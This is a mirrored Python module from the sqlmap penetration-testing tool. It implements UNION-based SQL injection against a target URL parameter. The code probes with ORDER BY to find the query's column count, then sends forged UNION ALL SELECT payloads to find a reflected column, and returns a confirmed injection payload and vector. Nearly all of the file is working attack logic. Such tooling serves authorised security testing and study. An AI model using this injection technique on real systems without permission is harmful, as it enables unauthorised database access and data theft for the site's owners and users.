mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-26 19:43:48 +03:00
304 lines
12 KiB
Python
304 lines
12 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
$Id$
|
|
|
|
Copyright (c) 2006-2011 sqlmap developers (http://www.sqlmap.org/)
|
|
See the file 'doc/COPYING' for copying permission
|
|
"""
|
|
|
|
import random
|
|
import re
|
|
import time
|
|
|
|
from lib.core.agent import agent
|
|
from lib.core.common import average
|
|
from lib.core.common import Backend
|
|
from lib.core.common import clearConsoleLine
|
|
from lib.core.common import dataToStdout
|
|
from lib.core.common import extractRegexResult
|
|
from lib.core.common import getUnicode
|
|
from lib.core.common import isNullValue
|
|
from lib.core.common import listToStrValue
|
|
from lib.core.common import popValue
|
|
from lib.core.common import pushValue
|
|
from lib.core.common import randomInt
|
|
from lib.core.common import randomStr
|
|
from lib.core.common import removeReflectiveValues
|
|
from lib.core.common import singleTimeLogMessage
|
|
from lib.core.common import singleTimeWarnMessage
|
|
from lib.core.common import stdev
|
|
from lib.core.common import wasLastRequestDBMSError
|
|
from lib.core.data import conf
|
|
from lib.core.data import kb
|
|
from lib.core.data import logger
|
|
from lib.core.data import queries
|
|
from lib.core.enums import DBMS
|
|
from lib.core.enums import PAYLOAD
|
|
from lib.core.settings import FROM_TABLE
|
|
from lib.core.settings import UNION_MIN_RESPONSE_CHARS
|
|
from lib.core.settings import UNION_STDEV_COEFF
|
|
from lib.core.settings import MIN_RATIO
|
|
from lib.core.settings import MAX_RATIO
|
|
from lib.core.settings import MIN_STATISTICAL_RANGE
|
|
from lib.core.settings import MIN_UNION_RESPONSES
|
|
from lib.core.settings import ORDER_BY_STEP
|
|
from lib.core.unescaper import unescaper
|
|
from lib.request.comparison import comparison
|
|
from lib.request.connect import Connect as Request
|
|
|
|
def __findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL):
|
|
"""
|
|
Finds number of columns affected by UNION based injection
|
|
"""
|
|
retVal = None
|
|
|
|
def __orderByTechnique():
|
|
def __orderByTest(cols):
|
|
query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
|
|
query = agent.suffixQuery(query, suffix=suffix, comment=comment)
|
|
payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
|
|
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
|
|
return not re.search(r"((warning|error)[^\n]*order)|(order by)", page or "", re.I) and comparison(page, headers)
|
|
|
|
if __orderByTest(1) and not __orderByTest(randomInt()):
|
|
infoMsg = "ORDER BY technique seems to be usable. "
|
|
infoMsg += "This should reduce the time needed "
|
|
infoMsg += "to find the right number "
|
|
infoMsg += "of query columns. Automatically extending the "
|
|
infoMsg += "range for UNION query injection technique"
|
|
singleTimeLogMessage(infoMsg)
|
|
|
|
lowCols, highCols = 1, ORDER_BY_STEP
|
|
found = None
|
|
while not found:
|
|
if __orderByTest(highCols):
|
|
lowCols = highCols
|
|
highCols += ORDER_BY_STEP
|
|
else:
|
|
while not found:
|
|
mid = highCols - (highCols - lowCols) / 2
|
|
if __orderByTest(mid):
|
|
lowCols = mid
|
|
else:
|
|
highCols = mid
|
|
if (highCols - lowCols) < 2:
|
|
found = lowCols
|
|
|
|
return found
|
|
|
|
pushValue(kb.errorIsNone)
|
|
items, ratios = [], []
|
|
kb.errorIsNone = False
|
|
lowerCount, upperCount = conf.uColsStart, conf.uColsStop
|
|
|
|
if lowerCount == 1:
|
|
found = kb.orderByColumns or __orderByTechnique()
|
|
if found:
|
|
kb.orderByColumns = found
|
|
infoMsg = "target url appears to have %d columns in query" % found
|
|
singleTimeLogMessage(infoMsg)
|
|
return found
|
|
|
|
if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES:
|
|
upperCount = lowerCount + MIN_UNION_RESPONSES
|
|
|
|
min_, max_ = MAX_RATIO, MIN_RATIO
|
|
pages = {}
|
|
|
|
for count in xrange(lowerCount, upperCount+1):
|
|
query = agent.forgeInbandQuery('', -1, count, comment, prefix, suffix, kb.uChar)
|
|
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
|
|
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
|
|
if not isNullValue(kb.uChar):
|
|
pages[count] = page
|
|
ratio = comparison(page, headers, getRatioValue=True) or MIN_RATIO
|
|
ratios.append(ratio)
|
|
min_, max_ = min(min_, ratio), max(max_, ratio)
|
|
items.append((count, ratio))
|
|
|
|
if not isNullValue(kb.uChar):
|
|
for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar):
|
|
contains = [(count, re.search(regex, page or "", re.IGNORECASE) is not None) for count, page in pages.items()]
|
|
if len(filter(lambda x: x[1], contains)) == 1:
|
|
retVal = filter(lambda x: x[1], contains)[0][0]
|
|
break
|
|
|
|
if not retVal:
|
|
ratios.pop(ratios.index(min_))
|
|
ratios.pop(ratios.index(max_))
|
|
|
|
minItem, maxItem = None, None
|
|
|
|
for item in items:
|
|
if item[1] == min_:
|
|
minItem = item
|
|
elif item[1] == max_:
|
|
maxItem = item
|
|
|
|
if all(map(lambda x: x == min_ and x != max_, ratios)):
|
|
retVal = maxItem[0]
|
|
|
|
elif all(map(lambda x: x != min_ and x == max_, ratios)):
|
|
retVal = minItem[0]
|
|
|
|
elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE:
|
|
deviation = stdev(ratios)
|
|
lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation
|
|
|
|
if min_ < lower:
|
|
retVal = minItem[0]
|
|
|
|
if max_ > upper:
|
|
if retVal is None or abs(max_ - upper) > abs(min_ - lower):
|
|
retVal = maxItem[0]
|
|
|
|
kb.errorIsNone = popValue()
|
|
|
|
if retVal:
|
|
infoMsg = "target url appears to be UNION injectable with %d columns" % retVal
|
|
logger.info(infoMsg)
|
|
|
|
return retVal
|
|
|
|
def __unionPosition(comment, place, parameter, value, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL):
|
|
validPayload = None
|
|
vector = None
|
|
|
|
positions = range(0, count)
|
|
|
|
# Unbiased approach for searching appropriate usable column
|
|
random.shuffle(positions)
|
|
|
|
# For each column of the table (# of NULL) perform a request using
|
|
# the UNION ALL SELECT statement to test it the target url is
|
|
# affected by an exploitable inband SQL injection vulnerability
|
|
for position in positions:
|
|
# Prepare expression with delimiters
|
|
randQuery = randomStr(UNION_MIN_RESPONSE_CHARS)
|
|
phrase = "%s%s%s".lower() % (kb.chars.start, randQuery, kb.chars.stop)
|
|
randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
|
|
randQueryUnescaped = unescaper.unescape(randQueryProcessed)
|
|
|
|
# Forge the inband SQL injection request
|
|
query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar)
|
|
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
|
|
|
|
# Perform the request
|
|
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
|
|
content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \
|
|
removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
|
|
payload, True) or "")
|
|
|
|
if content and phrase in content:
|
|
validPayload = payload
|
|
vector = (position, count, comment, prefix, suffix, kb.uChar, where)
|
|
|
|
if where == PAYLOAD.WHERE.ORIGINAL:
|
|
# Prepare expression with delimiters
|
|
randQuery2 = randomStr(UNION_MIN_RESPONSE_CHARS)
|
|
phrase2 = "%s%s%s".lower() % (kb.chars.start, randQuery2, kb.chars.stop)
|
|
randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2)
|
|
randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2)
|
|
|
|
# Confirm that it is a full inband SQL injection
|
|
query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, multipleUnions=randQueryUnescaped2)
|
|
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=PAYLOAD.WHERE.NEGATIVE)
|
|
|
|
# Perform the request
|
|
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
|
|
content = "%s%s".lower() % (page or "", listToStrValue(headers.headers if headers else None) or "")
|
|
|
|
if content and ((randQuery in content and phrase2 not in content) or (randQuery not in content and phrase2 in content)):
|
|
vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE)
|
|
|
|
unionErrorCase = kb.errorIsNone and wasLastRequestDBMSError()
|
|
|
|
if unionErrorCase:
|
|
warnMsg = "combined UNION/ERROR SQL injection case found on "
|
|
warnMsg += "column %d. sqlmap will try to find another " % (position + 1)
|
|
warnMsg += "column with better characteristics"
|
|
logger.warn(warnMsg)
|
|
else:
|
|
break
|
|
|
|
return validPayload, vector
|
|
|
|
def __unionConfirm(comment, place, parameter, value, prefix, suffix, count):
|
|
validPayload = None
|
|
vector = None
|
|
|
|
# Confirm the inband SQL injection and get the exact column
|
|
# position which can be used to extract data
|
|
validPayload, vector = __unionPosition(comment, place, parameter, value, prefix, suffix, count)
|
|
|
|
# Assure that the above function found the exploitable full inband
|
|
# SQL injection position
|
|
if not validPayload:
|
|
validPayload, vector = __unionPosition(comment, place, parameter, value, prefix, suffix, count, where=PAYLOAD.WHERE.NEGATIVE)
|
|
|
|
return validPayload, vector
|
|
|
|
def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix):
|
|
"""
|
|
This method tests if the target url is affected by an inband
|
|
SQL injection vulnerability. The test is done up to 50 columns
|
|
on the target database table
|
|
"""
|
|
|
|
validPayload = None
|
|
vector = None
|
|
query = agent.prefixQuery("UNION ALL SELECT %s" % kb.uChar)
|
|
total = conf.uColsStop+1 - conf.uColsStart
|
|
|
|
# In case that user explicitly stated number of columns affected
|
|
if conf.uColsStop == conf.uColsStart:
|
|
count = conf.uColsStart
|
|
else:
|
|
count = __findUnionCharCount(comment, place, parameter, value, prefix, suffix, PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE)
|
|
|
|
if count:
|
|
if Backend.getIdentifiedDbms() in FROM_TABLE and query.endswith(FROM_TABLE[Backend.getIdentifiedDbms()]):
|
|
query = query[:-len(FROM_TABLE[Backend.getIdentifiedDbms()])]
|
|
|
|
if count:
|
|
query += ", %s" % kb.uChar
|
|
|
|
if Backend.getIdentifiedDbms() in FROM_TABLE:
|
|
query += FROM_TABLE[Backend.getIdentifiedDbms()]
|
|
|
|
validPayload, vector = __unionConfirm(comment, place, parameter, value, prefix, suffix, count)
|
|
|
|
if not all([validPayload, vector]) and not all([conf.uChar, conf.dbms]):
|
|
warnMsg = "if UNION based SQL injection is not detected, "
|
|
warnMsg += "please consider "
|
|
if not conf.uChar:
|
|
warnMsg += "using --union-char switch "
|
|
warnMsg += "(e.g. --union-char=1) "
|
|
if not conf.dbms:
|
|
if not conf.uChar:
|
|
warnMsg += "and/or try to force the "
|
|
else:
|
|
warnMsg += "forcing the "
|
|
warnMsg += "back-end DBMS (e.g. --dbms=mysql) "
|
|
singleTimeWarnMessage(warnMsg)
|
|
|
|
return validPayload, vector
|
|
|
|
def unionTest(comment, place, parameter, value, prefix, suffix):
|
|
"""
|
|
This method tests if the target url is affected by an inband
|
|
SQL injection vulnerability. The test is done up to 3*50 times
|
|
"""
|
|
|
|
if conf.direct:
|
|
return
|
|
|
|
kb.technique = PAYLOAD.TECHNIQUE.UNION
|
|
validPayload, vector = __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
|
|
|
|
if validPayload:
|
|
validPayload = agent.removePayloadDelimiters(validPayload)
|
|
|
|
return validPayload, vector
|